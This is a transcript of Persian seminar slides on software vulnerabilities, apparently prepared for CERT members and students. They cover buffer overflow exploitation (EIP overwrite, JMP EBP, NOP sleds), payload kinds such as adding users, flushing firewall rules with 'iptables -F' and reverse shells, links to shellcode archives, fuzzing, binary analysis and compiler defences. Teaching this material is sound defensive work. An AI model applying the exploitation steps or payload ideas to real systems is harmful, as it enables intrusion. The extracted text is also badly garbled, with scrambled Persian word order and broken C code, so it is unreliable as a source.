Softwares : Vuln discovery , attack and deffence technologies

57
رها ا ز ف رم ا ن ی ت ی ن م ا لات ک ش م له ب ا ق م له و م ح، ف ش ک های روش ر نوری ر م ی ف ش ک د ن م ح د ن س[email protected] 5 ر ماه ی ت1387

description

This is the slide I used in an 8 hours seminar presented in Yazd university for APA ( so called Iranian CERT) members and computer science students .

Transcript of Softwares : Vuln discovery , attack and deffence technologies

Page 1: Softwares : Vuln discovery , attack and deffence technologies

افزارها نرم امنیتی مشکالت

و حمله ، کشف های روش بر مروریمقابله

کشفی حمید سید

[email protected]

ماه 5 1387تیر

Page 2: Softwares : Vuln discovery , attack and deffence technologies

2

پرداخت خواهیم آنها به که مواردی

افزارها نرم به حمله های روش بررسی کاربردی افزارهای نرم

بافر سرریز حمالت بر مروری وب تحت افزارهای نرم

( رایج حمالت بر (, …SQLi, XSS, Harvestingمروری

امنیتی های ضعف کشف های روش بررسی( کد (Source-code AuditبازبینیFuzzing & Fault-InjectionBinary Analyzing

حمالت با مقابله های روش بررسی افزار سخت و عامل سیستم سطح در موجود محافظتی های سیستم جانبی افزارهای نرم توسط شده ایجاد محافظتی های سیستم

Page 3: Softwares : Vuln discovery , attack and deffence technologies

3

کاربردی – افزارهای نرم افزار نرم به حمله

؟ چیست افزار نرم در امنیتی ضعف از ؟ Exploitمنظور امنیتی ضعف یک کردن افزار نرم امنیتی های ضعف از استفاده اهداف

( سیستم یا افزار نرم کار روال در اختالل (DoSایجاد اجرای معمول روال از خارج دستورالعملی اجرای

( افزار (Controling Softwareنرم سیستم یا افزار نرم کامل کنترل گرفتن بدست

(Controling Systemعامل)Payload ؟ چیست

Page 4: Softwares : Vuln discovery , attack and deffence technologies

4

بافر – سرریز حمالت کاربردی افزارهای نرم

افزار نرم یک اجرای روال بررسی برای حافظه در آدرس محدوده یک اختصاص

الزم اطالعات و ها دستورالعمل بارگذاری افزار نرم در شده تعریف های سگمنت بارگذاری

.text :برنامه اجرایی های دستورالعمل حاوی.bss :نشده تعریف های متغیر و اطالعات حاوی

(uninitialized data)

.data :شده تعریف های متغیر و اطالعات static)حاویinitialized data)

فضای Heapو Stackاختصاص

Page 5: Softwares : Vuln discovery , attack and deffence technologies

5

بافر – سرریز حمالت کاربردی افزارهای نرم

کپی اطالعات حجم که میدهد رخ زمانی بافر سرریزبافر برای شده مشخص میزان از بیشتر ، بافر به شده

باشد.#include <stdio.h<

Int main )int arge , char **argv({char target[5]=“AAAA”strcpy)target, “AAAAABBBBCCCC”(;Printf)“%\n”,target”(;Return 0;

}

Page 6: Softwares : Vuln discovery , attack and deffence technologies

6

بافر – سرریز حمالت کاربردی افزارهای نرم

به پذیر آسیب کد یک Stack Overflowبررسی#include <iostream.h>#include <stdio.h>#include <conio.h>#include <stdio.h>

int Hijack)(} cout << "This function should be hijacked!";

getchar)(;return 0; {

int Function1)(} char var1[15];

cout << "_________1234567890abcd" << endl;

cout << "Enter Var1:";cin >> var1;cout << var1 << endl;return 0; {

int main)(} Function1)(;

getchar)(;return 0; {

EIP

Main)(

Hijack)(

1 2 3 4 5 . . .

. . . . A B C D

Page 7: Softwares : Vuln discovery , attack and deffence technologies

7

بافر – سرریز حمالت کاربردی افزارهای نرم

میدهد رخ بافر سرریز از پس که اجرا : اتفاقی روال تخریب

EIP ) BCDE (

Main)(

Hijack)(

1 2 3 4 5 . . .

. . . . . 0 1 2 3 4 5 6

EBP ) AAAA (

Page 8: Softwares : Vuln discovery , attack and deffence technologies

8

بافر – سرریز حمالت کاربردی افزارهای نرم

تغییر قابلیت از در EIPاستفاده که توابعی وفراخوانی افزار نرم کنترل براینمیشوند , فراخوانی برنامه معمولی اجرای روال

EIP )00401050 (

Main)(

Hijack)(

1 2 3 4 5 . . .

. . . . . 0 1 2 3 4 5 6

EBP ) AAAA (

Page 9: Softwares : Vuln discovery , attack and deffence technologies

9

بافر – سرریز حمالت کاربردی افزارهای نرم

و کد اجرای به اقدام میتوان ، شده ذکر روش از استفاده بانمود دلخواه دستورات

درج حافظه در مستقیمآ ما ارسالی های داده اینکه به توجه با. باشد ماشین زبان به بایست می دستورات ، میشوند

اصطالحآ میشوند درج حافظه در اجرا برای که دستوراتی بهPayload میشود گفته

خاص کاراکترهای از استفاده عدم همچون نکاتی نکردن رعایت(0x00 )شد خواهد مشکل بروز باعث

، کنیم اجرا را خود دلخواه دستورات بتوانیم اینکه برایبدانیم حافظه در درج از پس را آنها دقیق آدرس میبایست

مشکل و تر پیچیده بسیار ، واقعیت در حمالت سازی پیاده روالمیباشد ~تر

Page 10: Softwares : Vuln discovery , attack and deffence technologies

10

بافر – سرریز حمالت کاربردی افزارهای نرم

ها داده و ها دستورالعمل میان تفاوتی ، پردازنده دید ازدستور . که درصورتی شده داده ورودی ندارد وجود

. شد خواهد اجرا باشد معتبر ماشین زبان تزریق های روش از ارسال Payloadیکی ، درحافظه

میباشد افزار نرم ورودی پارامترهای قالب در آن فضای در هم میتواند بافر فضای Stackسرریز در هم و

Heap دهد رخ( سرریز وقوع محل به ( stack / Heap overflowبسته

محل به پرش و برنامه اجرای روال تغییر نحوهPayload مختلفی های روش و ها وتکنیک بوده متفاوت

. دارد وجود حالت هر برای بازنویسی داشته ! EIPقابلیت نظر در نیست الزامی

نهایت در میتواند ها ثبات از یک هر بازنویسی که باشیداجرای به گردد Payloadمنجر

EIP )0x}Payload Offset{(

Main)(

Hijack)(

1 2 3 4 5 . . . [Injected Payload]

. . . . . 0 1 2 3 4 5 6

EBP ) AAAA (

0x00

Page 11: Softwares : Vuln discovery , attack and deffence technologies

11

بافر – سرریز حمالت کاربردی افزارهای نرم

میباشد تر مشکل و تر پیچیده بسیار ، واقعیت در حمالت سازی پیاده :روال و توابع بارگذاری های عامل Dllآدرس سیستم ، افزار نرم نسخه هر به بسته ها

حتی میکند Service Packو تغییر و ها آدرس ، موارد برخی نیز offsetدر هستند یکسان نسخ تمامی در که ثابت های

دارند وجود شده درج دستورات دقیق آدرس از آگاهی به حافظه (Payload) نیاز در

خالف دقیق Linuxبر آدرس تخمین ،Stack نیست امکانپذیر براحتی ویندوز در تکنیک از Return-to-lib/dllاستفاده از NOP Sledاستفاده

کرد درج بافر در میتوان که دستوراتی حجم در محدودیت پرش و ، دارد وجود آنها در تزریق قابلیت که حافظه مختلف های بخش از استفاده

آنها بین از ایی Payloadاستفاده مرحله چند های

میگردد درج حافظه در که ازکاراکترهایی استفاده در محدودیت میشوند دستکاری حافظه در تزریق از پس که کاراکترهایی شناساییEncode کردنPayload خاص کاراکترهای وجود از پرهیز برای

افزار نرم به دستورات ارسال نحوه

Page 12: Softwares : Vuln discovery , attack and deffence technologies

12

بافر – سرریز حمالت کاربردی افزارهای نرم

به دهی مقدار امکان ، ماشین زبان ثبات ) EIPدر سایر مقادیر ندارد وجود مستقیم بصورتچون دستوراتی توسط میشوند (EIPبه ... JMP MOV CALLها داده

دقیق آدرس آوردن بدست امکان ما اینکه فرض با ، شد ذکر این از پیش که مثالی درPayload دربازنویسی استفاده شده EIPبرای بازنویسی مقدار از میبایست ، نداریم در را

کنیم . استفاده ها ثبات سایرEBP محتوای که باشیم دستورالعملی دنبال به باید پس ، شده در EBPبازنویسی EIPرا

کند ) (JMP EBPدرج بازنویسی ، بعد دستورالعمل EBPقدم آن در که است حافظه از آدرسی به اشاره برای

JMP EBP باشد داشته وجود( پویا : ایی کتابخانه توابع بارگزاری( DLLنکته حافظه از مشخصی های آدرس در همواره

از . یک هر در ، DLLمیشوند دستورات از بخشی است ممکن حافظه در موجود هایباشد ما نظر مورد دستورات

: بدست و ، ما نظر مورد دستورالعمل برای ایی کتابخانه توابع آدرس محدوده جستجوی ایدهآدرس ) دستورالعمل( offsetآوردن آن

مانند ابزارهایی از FindJumpاستفاده بازنویسیEIP 0باx7c822cac محتویاتEBP در میکند EIPرا بازنویسی آدرس درج به نیاز بدون ترتیب Payloadبدین

در مسقیم میکنیم EIPبطور اجرا آنرا ، : حمله روال در بیشتر پایداری نتیجه

Page 13: Softwares : Vuln discovery , attack and deffence technologies

13

بافر – سرریز حمالت کاربردی افزارهای نرم

از نمایی ، نهایی حمله Stackنتیجه از پس

AA...A EBPEIP

Kernel32.dll

NOP Sled NOP Payload

Jmp ebp

GET / AA….A[ 0x90 Nop] [ JMP ] [overwrite EBP] [Overwrite EIP] [NOP] […. Payload …]

jmp

12

3

4

5

.1EIP به که آدرسی بازنویسی jmp ebdبا دارد اشارهمیشود

میشود 2. اجرا دستور و کرده آدرسمراجعه به پردازنده

محل EBPمحتویات 3. به اشاره Nop Sledکه حافظه دردر ، میشود EIPدارد بازنویسی

به 4. توجه با به EIPپردازنده دستورات اجرای ادامه برای ،میکند Nop Sledآدرس مراجعه

پایان 5. از به Nopپس پرش دستور به Nop Sledپردازندهمیرسد دوم

.6Nop Sled اجرای به نهایت در روال و شده اجرا دومPayload. میگردد ختم

6

Page 14: Softwares : Vuln discovery , attack and deffence technologies

14

بررسی – بافر سرریز ها Payloadحمالت

اجرای مرحله ؟ . Payloadبه داریم رو پیش هایی انتخاب چه رسیدیم آمیز موفقیت بارگذاری از پس حمله ادامه اصطالحآ Payloadمراحل ،Post Exploitation

. میشوند خوانده همه مشترک ماشین : Payloadوجه زبان اساس بر ها : اجرای تمایز هر Payloadوجه حافظه اساس Platformدر بر میبایست ، پردازنده معماری و

. باشد شرایط همان نوشتن و تهیه استفاده Payloadبرای پردازنده همان ماشین زبان از میبایست معماری هر برای

... (IA32/64 , SPARC , PowerPC, MIPSشود ) و که به Payloadدستوراتی که باشد عاملی سیستم با منطبق میبایست ، دارند آنرا اجرای قصد

. میشود حمله آن از رایج :Payloadبرخی های

( عامل سیستم روی بر دستورات ( , …add user , iptables –Fاجرای ( هدف سیستم به دور راه از دسترسی کردن (Reverse/Bind Shellفراهم طریق از پیشرفته دسترسی کردن پیچیده )Payloadفراهم (Meterpreter , MOSDEFهایProxy( اجرا برای ، هدف سیستم به ماشین زبان فرامین (SysCall Proxyingکردن

از میتوان ، معمولی شرایط کرد Shellcodeدر استفاده شده آماده پیش از هایhttp://milw0rm.com/shellcode/http://metasploit.org/data/shellcode/win32msf20payloads.tar.gz بستهMetasploit Framework یکصد از عامل Payloadبیش سیستم ، درشرایط استفاده برای آماده

( . میدهد قرار اختیار در را پردازنده مختلف های معماری و (www.metasploit.orgها

Page 15: Softwares : Vuln discovery , attack and deffence technologies

15

بافر – سرریز Exploit Frameworksحمالت

مستلزم بافر سرریز حمله یک سازی پیاده ، شد بررسی که همانطورمیباشد مختلف مراحل طی

/ به بخشیدن سرعت برای خاص ابزارهای کد تولید مستلزم مراحل برخی انجاممیباشد کار

تولیدPayload تجربه نیازمند و بر زمان امری آنها آزمایش و سازی بهینه و هامیباشد

یا تولید پروسه ، خاص کاراکترهای از پرهیز لزوم صورت کردن EncodeدرPayload تکرارشود میبایست

از میبایست ، مختلف شرایط در امنیتی ضعف یک از استفاده Payloadبرایگردد استفاده متفاوتی های

کامپایل مجددآ میبایست کد ، اکسپلویت کد در جزئی تغییر ایجاد به نیاز هربار باگیرد قرار استفاده مورد و

برای صرفآ که یکدیگر کنار در امکانات و ابزارها از مجموعه یک وجود ، شده تولید بافر سرریز حمالت برای اکسپلویت های کد تولید و آنالیز

. میگردد محسوب بزرگی کمک

Page 16: Softwares : Vuln discovery , attack and deffence technologies

16

بافر – سرریز Exploit Frameworksحمالت

Exploitation Framework تا میکنند کمک ما به موجود های آن از پس و پرداخته امنیتی ضعف مشخصات معرفی به اقدام یکبار تنها

استفاده آن از مختلف شرایط در و بارها ، کد در خاصی تغییر به نیاز بدونکنیم

تست و تولید زمانگیر مراحل نباشیم Payloadنگران مختلف های از استفاده با و فیلتر Encoderبراحتی کاراکترهای مشکل ، موجود های

کنیم( Bad charsشده ) حل را در موجود امکانات کنیم Payloadاز استفاده پیشرفته های میبابد کاهش بسیار اکسپلویت یک تولید برای الزم کد خطوط تعداد

از محیط 5کمتر در کد !Frameworkخط مستقل اکسپلویت یک در کد خط ها ده معادل

معرفیMetasploit Framework آن امکانات و اولیه مراحل طی برای کمکی ابزارهای

تولیدPattern بافر کردن سرریز (pattern_create.rb)برای بافر کردن سرریز برای الزم بایت تعداد و ، بافر سایز (pattern_offset.rb)محاسبه یافتن برای کامل بسیار اطالعاتی مناسب offsetبانک و مختلف )های

http://metasploit.org/opcodedb/)

Page 17: Softwares : Vuln discovery , attack and deffence technologies

17

Metasploit Framework

DEMO

Page 18: Softwares : Vuln discovery , attack and deffence technologies

18

مشکل – بروز علت بافر سرریز حمالت

استفاده در نویس برنامه اشتباهات از ناشی سرریزبافر حمالت. هستند نویسی برنامه زبان توابع از

/ کنترل را خود خروجی ورودی خود خودی به ، توابع از بسیارینمیکنند

، توابعی چنین از استفاده از پیش نویس برنامه که میرود انتظار / از تا کند کنترل را تابع از دریافتی ارسالی اطالعات نوع و حجم

. شود جلوگیری مشکل بروز به منجر ، قبلی کنترل بدون آنها از استفاده که توابع از برخی

میگردد : بافر , )strcat)( , strcpy)( ,sprintf)( , vsprintf)سرریزbcopy)( ,gets)( ,scanf)(

برنامه ، هستند مشکل دارای که ایی کتابخانه توابع از استفاده. میکنند امنیتی مشکل دوچار نیز را شما

Page 19: Softwares : Vuln discovery , attack and deffence technologies

19

مشکل – بروز علت بافر سرریز حمالت

Vulnerable Function Function’s Purpose Why Vulnerable

Memcpy() Copies one part of the memory to another, taking two a source, a destination and a number of

bytes as arguments.

It can place too much data, into too small a buffer, thus causing an overflow.

Gets() Receives data from the user, and places it into a buffer.

Doesn’t check how much data has been placed in the buffer, perhaps too much!

Sprintf() Places formatted data into a buffer, replacing arguments with data, for example ‘%s’, ‘hi’ being written to buffer[5]; would result in

not ‘%s’ being placed in the buffer, but ‘hi’.

It doesn’t check how much data is being placed into the buffer.

Strcat() Sticks one buffer onto the end of another. Doesn’t check that the data being added will fit within the buffer limits/

Strcpy() Copies the content of one buffer to another. Once again, the destination length is not compared with the source length.

Page 20: Softwares : Vuln discovery , attack and deffence technologies

20

افزار نرم امنیتی مشکالت شناسایی

های ضعف شناسایی برای متفاوتی های روش و ها تکنیکدارد وجود افزارها نرم در موجود امنیتی

( کد (Source-Code AuditبررسیFuzzing & Fault-InjectionBinary )Static/Dynamic( Analyze

از ترکیبی یا یک از الزم عمل ودقت امکانات ، شرایط به بستهمیشود استفاده افزار نرم یک آنالیز برای روش چند

! نیست روش ترین بهینه همیشه ، روش ترین پیچیده الزامآ مشکالت شناسایی و کشف های تکنیک از بسیاری اگرچه

بصورت همواره Automatedامنیتی اما ، دراختیارهستند نیز. دارد وجود تجربه با و مسلط کاربر یک به نیاز

استفاده قابل ، شده شناسایی بافر سرریز مشکل هر لزومآ. / نیست دستور کد اجرای برای

Page 21: Softwares : Vuln discovery , attack and deffence technologies

21

افزار – نرم امنیتی مشکالت Code Auditشناسایی

( کد (Source-Code Auditبررسی خطر پر توابع شناسایی برای (...)(vsprintf ,)(sprintf, )(strcpy ,)(strcat)جستجو

( منطقی مشکالت شناسایی برای ، برنامه روال (Logicalکنترل بصورت جستجو و ) ( Staticروال کد اجرای کد ( Dynamicبدون بررسی و اجرا

)

نیست امنیتی مشکل وجود معنی به ، کد در پذیر آسیب تابع یک وجود. است زمانبر و کننده خسته عملی کد خواندن و بررسی کد هزارخط چندین از متشکل ، ساده توابع و افزارها نرم حتی

میباشند. کد از هایی بخش روی بر تمرکز ، بررسی تسریع های روش از یکی

( ، ورودی دریافت توابع باالست آنها در مشکل وجود احتمال که استو ... ( داده نوشتن و خواندن

Page 22: Softwares : Vuln discovery , attack and deffence technologies

22

افزار – نرم امنیتی مشکالت Code Auditشناسایی

( کد (Source-Code Auditبررسی ابزارهای از کد Automatedاستفاده بررسی برای

شده تولید منظور بدین بسیاری تجاری و آزاد ابزارهای باالست بسیار ، معمولی روش با مقایسه در ابزارها این عمل سرعت میشوند طراحی خاص نویسی برنامه زبان چند یا یک بررسی برای غالبآ ابزارها( خطا های گزارش باالست( False Positiveدرصد ابزارها اینگونه در خطاهای از ناشی امنیتی مشکالت گزارش و تشخیص به قادر ابزارها قبیل این

Logical نیستند هرگز افزار نرم یک امنیتی بررسی برای ، تنهایی به ابزارها این از استفاده

نیست کافی

ابزارهای از :Static Code Auditبرای Automatedلیستیhttp://en.wikipedia.org/wiki/List_of_tools_for_static_code_analysishttp://samate.nist.gov/index.php/Source_Code_Security_Analyzers

Page 23: Softwares : Vuln discovery , attack and deffence technologies

23

- افزار نرم امنیتی مشکالت Fuzzingشناسایی

Fuzzing & Fault-Injection بازدهی نسبت به ، ها روش سایر با مقایسه در کمتر هزینه سایر با مقایسه در ، کمتر پیچیدگی با سازی پیاده قابلیت

ها روش بررسیBlackBox مشکالت کشف برای افزار نرم ایجاد به منجر که ، شده کنترل اما تصادفی های ورودی تولید

. گردد افزار نرم کار روند در اختالل تصادفی کامآل های داده با ها پارامتر و افزار نرم تغذیه استانداردهای و ها پروتکل قالب در پارامترها و افزار نرم تغذیه

تصادفی مقادیر و پارامترها با اما ، مشخص توسط شده تولید های شده Fuzzerداده حساب آنقدر باید

در و ، باشند محاسبه و دریافت قابل افزار نرم دید از تا باشندرا افزار نرم بتوانند که مامتعارف و تصادفی آنقدر حال عین

. کنند اختالل دوچار

Page 24: Softwares : Vuln discovery , attack and deffence technologies

24

- افزار نرم امنیتی مشکالت Fuzzingشناسایی

مختلف های :FuzzingتکنیکSession Data Fuzzers

یک در شده بدل و رد پارامترهای و اطالعات دستکاری sessionبررسی در وسعی معتبرآنها ارسال و پارامترها

میباشد ساده بسیار روش این سازی پیادهSpecialized Fuzzers

/ قالب در خاص استاندارد پروتکل یک خواص و پارامترها کلیه Fuzzingبررسی / پروتکل هر برای خاص اسکریپت ابزار تولید نیازمند کارآمدیFuzzer برای آن پارامترهای تعریف و پروتکل سازی پیاده کیفیت به Fuzzingوابسته

میباشد از دسته این دارد Fuzzerتولید بررسی تحت پروتکل به دقیق و کامل اشراف نیازمند ها قبیل این از ندارد Fuzzerاستفاده کاربر باالی فنی دانش به نیاز هاFuzzer برای اختصاصی , …SIP , SSL , SMTP , SNMP , RPCهای

Generic Fuzzers قابلیتFuzzing متعدد های پروتکل امکانات تحت خود نظر مورد پروتکل تعریف به اقدام میبایست بنماید Fuzzerکاربر به کاربر توسط ، شوند بررسی بایست می که پارامترهایی میشوند Fuzzerتمام معرفی دسته این از است Fuzzerاستفاده مشکل عادی کاربران برای ها با مقایسه در ، دسته این توسط خاص پروتکل یک تست کمتر Specialized Fuzzerکیفیت ها

است.

Page 25: Softwares : Vuln discovery , attack and deffence technologies

25

- افزار نرم امنیتی مشکالت Fuzzingشناسایی

با پروتکل در پارامتر یک مقدار جایگزینی همیشه که داشت انتظار نمیتوانباشد معتبر افزار نرم دید از ، بزرگتر ایی داده

) ( ، ها داده ماهیت بدلیل باینری های پروتکل خصوصآ ها پروتکل از بسیاری در. میباشد یکدیگر از ها داده مختلف های فیلد تفکیک به نیاز

فیلد آن داده و فیلد سایز شامل میتواند فیلد هر به مربوط اطالعات حداقلباشد

یک محتوای دستکاری به اقدام مورد این گرفتن نظر در بدون که صورتی درپارامترهای گردد، خود Fuzzپروتکل از بعد های فیلد اطالعات ، فیلد یک شده

افزار = نرم دید از درخواست آن شدن معتبر غیر میکند تخریب را مفهومBlock Based Fuzzing . پویای محاسبه است استوار اصل همین بر

تحت و معتبر های پارامتر همه چیدن و درخواست بسته کل ، فیلد هر سایزافزار نرم برای درخواست یک تولید زمان در ، یکدیگر کنار در بررسی

: پروتکل بررسی در ساده درخواست HTTPمثال یک ارسال نمیتوان POSTومیبایست درخواست هر در بلکه ، نمود ارسال و دستکاری را پارامترها تنها

پارامتر صحیح .content-lenghtمقدار گردد درج درخواست در و شده محاسبهSPIKE نمونه یک ،General Fuzzer مبنای بر کار Block-Based Fuzzingکه

میکند

Page 26: Softwares : Vuln discovery , attack and deffence technologies

26

- افزار نرم امنیتی مشکالت Fuzzingشناسایی

اهدافFuzzer آنها کاربرد و ها( شبکه ارتباطی های پروتکل ,Routing protocolsبررسی

IP stack… , ) شبکه تحت های پروتکل بررسی

(ssh,ftp,smtp,ssh,http,snmp…,) , خاص افزار نرم یک پارامترهای و ها آرگومان توابع بررسی( خواندن به مربوط مشکالت از( parseبررسی اطالعات

ورودی فایل( خاص افزاری نرم های بسته -browser,mailبررسی

client,ftp-clients) خاص پروتکل یک در ، خاص پارامترهای و ها قابلیت بررسی { . . .روند در نحوی به که قابلیتی یا و داده ، پارامتر نوع هر

} ! است دخیل افزار نرم کار

Page 27: Softwares : Vuln discovery , attack and deffence technologies

27

- افزار نرم امنیتی مشکالت Fuzzingشناسایی

Fuzzing Frameworks بصورت عمل Specialized Fuzzerیا Generic Fuzzerقابلیت میشوند تولید نویسی اسکریپت های زبان توسط غالبآAPI برای را مختلفی میدهند Fuzzingهای قرار اختیار در ) میکنند ) پشتیبانی زیادی شبکه تحت های پروتکل از به جدید های پروتکل افزودن و گسترش frameworkقابلیت

Fuzzer اند داشته بسیاری تحوالت گذشته به نسبت ها بررسی تحت افزار نرم کردن مانیتور توسط افزار نرم اجرای روال کردن با debuggerکنترل همزمان

Fuzzing در اختالل بروز صورت در ، خودکار بصورت شرایط مجدد آوردن فراهم

(crashمانند ) Fuzzingطول افزار نرم کردن زمان در شده انجام های فعالیت ذخیره و کردن و ...Fuzzingمانیتور”Sulley Fuzzing Framework “

http://www.fuzzing.org/wp-content/Amini-Portnoy-BHUS07.zip

Page 28: Softwares : Vuln discovery , attack and deffence technologies

28

- افزار نرم امنیتی مشکالت Fuzzingشناسایی

از موجود Fuzzerبرخی هایPROTOS :همچون هایی پروتکل موثر و ...SNMP ,SIPبررسیCodeNomicon :دهنده اراده ، تجاری از Fuzzerشرکتی بیش 80برای

بنیانگذار تحقیقاتی تیم به وابسته ، مختلف PROTOSپروتکلSMUDGE : General Fuzzing Framework شبکه تحت های پروتکل برایSPIKE : ترین شده شناخته از های Generalهای Fuzzerیکی پروتکل برای

شبکه تحتPeach : یکframework بر متعدد Pythonمبتنی های پروتکل از پشتیبانی باMangleMe : یکfuzzer بررسی ها BrowserبرایMangle : بررسی برای فازر File-formatیکIRCfuzz : IRC Client FuzzerCOMBust : COM Object fuzzer

از دیگر برخی از شده Fuzzerلیستی شناخته هایhttp://www.fuzzing.org/fuzzing-software

Page 29: Softwares : Vuln discovery , attack and deffence technologies

29

- افزار نرم امنیتی مشکالت Fuzzingشناسایی

DEMO

Page 30: Softwares : Vuln discovery , attack and deffence technologies

30

- افزار نرم امنیتی مشکالت Binary Analyzeشناسایی

و ، کارآمد بسیار روش این ، افزار نرم کد نبودن دسترس در صورت درمیباشد مشکل حال درعین

در هنوز اند شده رفع باز کد افزارهای نرم در که امنیتی مشکالت از بسیاری( انحصاری افزارهای میشوند( closed-sourceنرم دیده

آید می بشمار ناقص و نوپا تکنیک یک هنوز روش این بررسی افزار نرم منطق و روند نیز روش این در ، کد بررسی همانند

! معکوس مهندسی روش به اما ، میگردد ماشین زبان بررسی در باال تجربه و درک نیازمند تکنیک افزارهای Fuzzingاگرچه نرم بررسی مفید closed-sourceدر بسیار

توسط افزار نرم توابع و ها قابلیت تمام بررسی اما بسیار Fuzzingمیباشداست ) ممکن نا گاهآ و (Low Code Coverageمشکل

Binary Audit ) می ) پوشش را افزار نرم از کل واقع در بیشتری محدودهدهد.

مشخصه دارای نیز باینری فایل در پذیر آسیب توابع ، کد بررسی همانندهستند خود خاص

Page 31: Softwares : Vuln discovery , attack and deffence technologies

31

- افزار نرم امنیتی مشکالت Binary Analyzeشناسایی

انجام مختلف های دیدگاه و ها Static Binary Analyzeروش جستجویPattern مانند پذیر آسیب توابع فراخوانی به مربوط موارد strcpy,strcat,sprintfهای سایر و

مشابه استفاده روش این از باشد سطحی و سریع بررسی یک هدف یا و باشد پایین افزار نرم کد کیفیت که صورتی در

میشود( ها حلقه بررسی و توابع( loopآنالیز مشکوک read/writeو

A variable indexed write into a character array:A variable indexed write to a local stack buffer:

A write to a pointer, followed by an increment of that pointer:A sign extended copy from an attacker-controlled buffer:

. مشکالت با ارتباطی هیچ امنیتی های ضعف از برخی افزار نرم منطق Memory corruptionبررسی . هستند ها داده با برخورد در افزار نرم اشتباه منطق از ناشی و نداشته

: امنیتی مشکل IIS Double Decodeمثال توسط مشکالت از دسته این میباشد Binary Auditکشف مشکل بسیار

( پذیر آسیب برنامه یک مختلف های نسخه بین های تفاوت (Diffingبررسی باشد الزم آنها از آگاهی اما ، نشود منتشر دقیقآ امنیتی مشکل جزئیات است ممکن کند افزار نرم در امنیتی مشکل یک رفع به اقدام ، عمومی اعالم بدون افزار نرم کننده تولید است ممکن( میکنند نمایان را فایل یک از متفاوت نسخه دو میان های تفاوت که ابزارهایی از (BinDiffاستفادهhttp://www.breakingpointsystems.com/community/blog/exploiting-iis-via-htmlencode-http://www.zynamics.com/files/ms08001.swf

است ناپذیر اجتناب ، بررسی به کمک برای پیشرفته ابزارهای از استفاده ، موارد این همه در میکند تر آسان بسیار را کار ، افزار نرم مختلف های بخش اساس بر شده رسم های گراف بررسی افزار نرم در گراف رسم های جانبی IDA Proقابلیت افزار نرم BinNavy و

Page 32: Softwares : Vuln discovery , attack and deffence technologies

32

- افزار نرم امنیتی مشکالت Binary Analyzeشناسایی

Page 33: Softwares : Vuln discovery , attack and deffence technologies

33

- افزار نرم امنیتی مشکالت Binary Analyzeشناسایی

: در بافر سرریز مشکل از MS-SQLمثال اشتباه استفاده از ناشی ،sprintf)(

در دیگری امنیتی از MS-SQLمشکل اشتباه استفاده از ناشی ،strcpy)(

mov edx, [ebp+var_24C8] ; سایز با ارسالی 1024متغیر پکت از که بایتمیشود خوانده

push edxpush offset aSoftwareMic_17 ; “SOFTWARE\\Microsoft\\Microsoft SQLServer”...push offset aSSMssqlserverC ; “%s%s\\MSSQLServer\\CurrentVersion”lea eax, [ebp+var_84] سایز ; با پشته بایت 128بافر !push eaxcall ds:sprintfadd esp, 10h

mov eax, [ebp+arg_4]add eax, [ebp+var_218]push eaxlea ecx, [ebp+var_214] حجم ; با پشته محتوای 512بافر که بایت

میشود کپی سایز کنترل بدون و شده دریافت پکت از آن push ecxcall strcpyadd esp, 8

Page 34: Softwares : Vuln discovery , attack and deffence technologies

34

افزار نرم امنیتی مشکالت شناسایی

حاصل در را خوبی های نتیجه میتوانند تنهایی به یک هر شده یاد کلی روش سهشوند

میدهد افزایش بسیار را آنالیز بازدهی ، فوق های روش ترکیب ترکیب ، مورد این در دیدگاه میباشد Fuzzingیک کد آنالیز با

با میزان Fuzzingهمزمان تا میگردد بررسی نیز کد سورس ،cove-coverage درگردد .Fuzzingزمان مشخص

توسط کد یا افزار نرم های بخش از یک کدام که کرد مشخص میتوان روش این باFuzzer نشده بررسی عمآل ها بخش کدام و ، شده داده پوشش

http://en.wikipedia.org/wiki/Code_coverage ترکیب ، دیگر آنالیز Fuzzingدیدگاه افزار Binaryبا نرم اجرای زمان در

میباشد. از راهنمایی Debugger/Disassemblerاستفاده برای ها Fuzzerها افزایشCode Coverage درFuzzing” جالب Effective Bug Discovery “http://uninformed.org/?v=all&a=27&t=pdfمقاله”Evolutionary Fuzzing System “یکframework به نسبت جدید دیدی Fuzzingبا

اجرا زمان در افزار نرم آنالیز از گرفتن کمک و پویا بصورت جدید های پروتکل فراگرفتنhttp://www.vdalabs.com/tools/efs_gpf.html

Page 35: Softwares : Vuln discovery , attack and deffence technologies

35

بافر سرریز حمالت با مقابله

نکات رعایت ، امنیتی مشکالت از دسته این با مقابله روش بهترین و اولینمیباشد افزار نرم تولید زمان در امنیتی

متدلوژی از افزار SDLCاستفاده نرم تولید در نرم کد سورس که است ممکن صورتی در تنها ، پیشگیری روش به مقابله

، باشد دسترس در افزار! دارد وجود نیز مشکالتی اما

قدیمی افزارهای نرم به دسترسی Developerعدم آگاهی امنیتی Developerعدم نکات از نویسی برنامه اشتباهات های افزار !Closed-Sourceنرم

یک هیچ اما ، دارند وجود مشکالت قبیل این با مقابله برای راهکارهاییمشکل از استفاده برای شرایط تنها و نکرده حل کامل بطور را مشکل

را تر امنیتی کنند .مشکل می راهکار چند یا یک از ، دسترس در امکانات و اختیارات و شرایط به بسته

. میشود استفاده

Page 36: Softwares : Vuln discovery , attack and deffence technologies

36

بافر سرریز حمالت با مقابله

بافر سرریز حمالت با مقابله برای مختلفی های دیدگاه: نیز مختلف های روش اساس همین بر و دارد وجود

کردن گوشزد و ، تولید روند خالل در امنیتی مشکالت تشخیصآنها

کردن اضافه و بافر سرریز مشکالت بروز از پیشگیری در سعیکردن کامپایل زمان در ، برنامه به تمهیداتی

برای عامل سیستم سطح در امنیتی تمهیدات سازی پیادهبافر سرریز حمالت با مقابله یا و تشخیص

، عامل سیستم به الحاقی افزاری نرم های بسته از استفادهعامل سیستم امنیتی های کمبود جبران برای

یا و جبران برای ، جانبی افزاری نرم های ازبسته استفادهعامل سیستم امنیتی های کمبود تکمیل

شده اراده امکانات با عامل سیستم امنیتی امکانات ترکیبپردازنده توسط

Page 37: Softwares : Vuln discovery , attack and deffence technologies

37

بافر سرریز حمالت با مقابله

امن کامپایلرهایVisual Studio >2003

در بافر سرریز حمالت برابر در Stackمحافظت حمالت مقابل در امنیت از زیادی بخش سرور stack overflowاساس ویندوز XPو SP1 2003در

SP2 تر جدید های نسخه و( کامپایل زمان در کد به هایی بخش کردن صحت( Buffer Security Checksاضافه کنترل returnبرای

address مهم های بخش سایر و Stackها مفهوم با Stack Cookiesآشنایی به شده نسخه Visual Studioاضافه پیشفرض 2003از بصورت فعال و/GS را امنیتی نمیکند مشکالت را حل آنها از استفاده میکند مشکلبلکه دارد وجود امنیتی مکانیزم این زدن دور برای هایی تکنیک
